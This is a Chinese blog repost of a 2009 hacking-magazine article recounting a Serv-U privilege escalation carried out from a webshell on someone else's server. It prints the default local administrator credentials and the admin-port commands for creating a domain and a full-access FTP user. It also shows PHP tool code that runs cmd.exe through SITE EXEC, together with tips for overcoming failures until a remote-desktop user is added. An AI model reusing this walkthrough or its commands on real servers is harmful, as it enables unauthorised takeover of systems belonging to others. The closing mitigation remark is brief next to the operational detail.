记一次Serv-U提权

记一次Serv-U提权

记一次Serv-U提权

http://hi.baidu.com/sdghgk/item/37b433ce7bce197489ad9e82
作者:白开
文章来源:http://hi.baidu.com/sdghgk
Serv-U提权可谓是老生常谈了,由于Serv-U的用户多,提权成功率也高,众多ASP木马纷纷将此提权功能集成在内。然而通过这次提权我发现,Serv-U提权绝不是填好表单、提交命令那么简单,因为很多细节决定着提权的成败。
一、出师不利
得到了某站点的Webshell,几个常用的目录都可以跳转,在其中的“程序”文件夹里找到了Serv-U的快捷方式,下载下来查看一下,安装路径在G盘,但是没有访问权限。
用“netstat -an”命令查看端口信息,21端口和43958端口都开放了,正当我确信Serv-U在提供FTP服务时,访问21端口却意外地出现了Microsoft FTP的欢迎信息,如图一所示。
奇怪,难道管理员在欢迎信息上做了手脚?结合“netstat -ano”和“tasklist”两条命令,我看到监听21端口的是进程“inetinfo.exe”,而监听43958端口的是进程“Serv-UDaemon.exe”,看来,Serv-U存在没错,只是没有提供FTP服务罢了。
Serv-U提权采用的是先添加一个系统管理员特权的用户,然后登陆FTP空间执行命令的方法,而这里Serv-U根本就没有提供FTP服务,提权怎么进行?
二、原理分析
“欲入侵之,必先知之”,本地架起Serv-U,先研究研究再说。
Serv-U有两个主要的进程:“Serv-UAdmin.exe”和“Serv-UDaemon.exe”,进程“Serv-UDaemon”监听端口43958接受“Serv-UAdmin.exe”的管理,并打开端口(如:21端口)提供FTP服务。通过抓包我们发现“Serv-UAdmin.exe”在对“Serv-UDaemon.exe”进行管理时是通过发送如下数据进行的:
//首先要通过身份验证
USER LocalAdministrator
PASS #l@$ak#.lk;0@P
SITE MAINTENANCE
//新建域
-SETDOMAIN
-Domain=sina|0.0.0.0|21|-1|1|0
-DynDNSEnable=0
DynIPName=
//新建用户
-SETUSERSETUP
-IP=0.0.0.0
-PortNo=21
-User=baikai
-Password=baikai
-HomeDir=C:\
-LoginMesFile=
-Disable=0
-RelPaths=0
-NeedSecure=0
-HideHidden=0
-AlwaysAllowLogin=0
-ChangePassword=0
-QuotaEnable=0
-MaxUsersLoginPerIP=-1
-SpeedLimitUp=0
-SpeedLimitDown=0
-MaxNrUsers=-1
-IdleTimeOut=600
-SessionTimeOut=0
-Expire=0
-RatioUp=1
-RatioDown=1
-RatiosCredit=0
-QuotaCurrent=0
-QuotaMaximum=0
-ExpirationType=Delete
-Maintenance=System
-PasswordType=Regular
-Ratios=None
Access=C:\|RWAMELCDP
//删除用户
-DELETEUSER
-IP=0.0.0.0
-PortNo=21
User=xiaohai
//删除域
-DELETEDOMAIN
-IP=0.0.0.0
PortNo=21
//停止Serv-UDaemon.exe
-SERVERCOMMAND
Command=StopNow
以上测试可以通过命令“telnet 127.0.0.1 43958”实现,如图二所示。
可见,要对“Serv-UDaemon.exe”进行管理,不一定必须要用“Serv-UAdmin.exe”,只需满足两点即可:1.本地发送的数据包,这是因为监听43958端口的IP是127.0.0.1,这一点在拿到Webshell后即可实现;2.通过身份验证,只要管理员没有修改默认的管理密码就可以了。Serv-U提权工具利用的就是这个原理。知道这些后,我们的提权就有了思路:要想让Serv-U开放端口、提供FTP服务,先添加一个域不就行了。
三、再次进攻
从网上下载到了“我非我”的PHP版Serv-U提权工具,与ASP版的工具相比,PHP版的优势是有回显,我们可以得到命令执行结果,只不过这个工具并不能创建域,没关系,稍微修改一下就可以了,我在发送的数据里先加上以下部分:
-SETDOMAIN
-Domain=sina|211.*.*.155|222|-1|1|0
-DynDNSEnable=0
DynIPName=
新建一个名称为“sina”的域,该域监听211.*.*.155的222端口,用命令查看一下,果然,端口已经打开,如图三所示,

这也意味着默认密码没有修改。
接下来就添加用户吧,工具有这功能,直接填好提交就好了。可是接下来却出现错误,“505 Domain not found”。奇怪,看看代码,工具发送的数据为:
-SETUSERSETUP
-IP=0.0.0.0
-PortNo=222
-User=baikai
......
意思就是在IP为0.0.0.0,端口号为222的域上新建一个名为baikai的用户,问题就出在这里,我创建的域IP为211.*.*.155,虽然0.0.0.0代表该机所有可用IP,但Serv-U明显把它们看成了两个不同的域。
修改后,再次提交,显示用户添加成功。赶紧用FTP登录一下,但很快又出现错误:Unknown host。端口明明打开了,为什么会出错呢?本地测试发现,Serv-U在没有使用21端口的情况下就容易出现这种错误,如图四所示。

郁闷,域虽然创建好了,但是却用不了,21端口又已经被Microsoft FTP占用了,接下来怎么办?
“我非我”的PHP版Serv-U提权工具有执行命令的部分,用它能行吗?试了一下,结果返回“unable to connect to 127.0.0.1:222 (由于连接方在一段时间后没有正确答复或连接的主机没有反应,连接尝试失败。”再看源代码,它是这样写的:

$conn_id = fsockopen ("127.0.0.1", $ftpport, $errno, $errstr, 8);

if (!$conn_id) {
    echo "$errstr ($errno)<br>\n";
} else {
    fputs ($conn_id, "USER ".$user."\r\n");
    sleep (1);
    fputs ($conn_id, "PASS ".$password."\r\n");
    sleep (1);
    fputs ($conn_id, "SITE EXEC ".$dir."cmd.exe /c ".$cmd."\r\n");
    fputs ($conn_id, "QUIT\r\n");
    sleep (1);
    while (!feof($conn_id)) {
        echo fgets ($conn_id,128);
    }
    fclose($conn_id);
}

又是IP的问题,Serv-U提供服务使用的是211.*.*.155:222,而工具发送数据包的地址是127.0.0.1,将其修改为211.*.*.155后提交,显示命令执行成功,接下来添个用户,就可以从远程终端登录上去了,如图五所示。

四、写在最后
针对这次提权,我总结了以下几点:
1.Serv-U提权时,即使它没有提供FTP服务也是可以的,我们可以通过建立域实现,但域的端口号不能与已有的端口号发生冲突。
2.创建的域如果不用21端口的话,很可能会在登录时出现错误,这时可以采用PHP提权工具发送FTP命令进行提权。
3.不管是创建用户还是执行FTP命令,涉及到IP地址的地方,一定要提起注意。如果创建的域为0.0.0.0:21,创建用户和执行FTP命令的IP可以不用过多考虑;如果创建的域为211.*.*.155:21,创建用户和执行FTP命令时就要与其一致。
4.如果Web空间支持PHP的话,尽量采用PHP提权工具,因为它有回显,可以知道命令是否执行成功。
另外不少朋友遇到过Serv-U提权不成功的情况,我看了看提取工具,把它们简单分为两种:一种会先新建一个域,然后创建用户、执行FTP命令(如:大部分ASP木马集成的提权工具),由于要创建域,这时要确保服务端口号没有被占用,此工具默认使用21端口,如图六所示,

而大多数情况下,Serv-U正在此端口提供服务,因此提权不能成功;另一种是在原有域的基础上创建用户、执行FTP命令(如:“我非我”的PHP版Serv-U提权工具)。这时候要确保域已经存在,如果服务器的域为211.*.*.155:21的话,工具在默认情况下创建用户用的是0.0.0.0,执行命令发送数据地址为127.0.0.1,这时提权也不会成功。
至于这台服务器,估计管理员曾经用的是Serv-U,后来改用了Microsoft FTP,于是就把Serv-U的域都停用了,并把安装目录的访问权限进行了严格设置。殊不知,这对Serv-U提权毫无影响,打开的43958端口+没有修改的默认口令,对于权限提升,足矣!
Serv-U的提权方法,直到6.4版本依旧可行,个人认为如果Serv-UAdmin.exe在对Serv-UDaemon.exe进行管理时采用SSL加密的方法,应该会安全很多。最近,Serv-U7.0也出了提权方法,有兴趣的朋友可以去研究。

见《黑客手册》09年10期

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值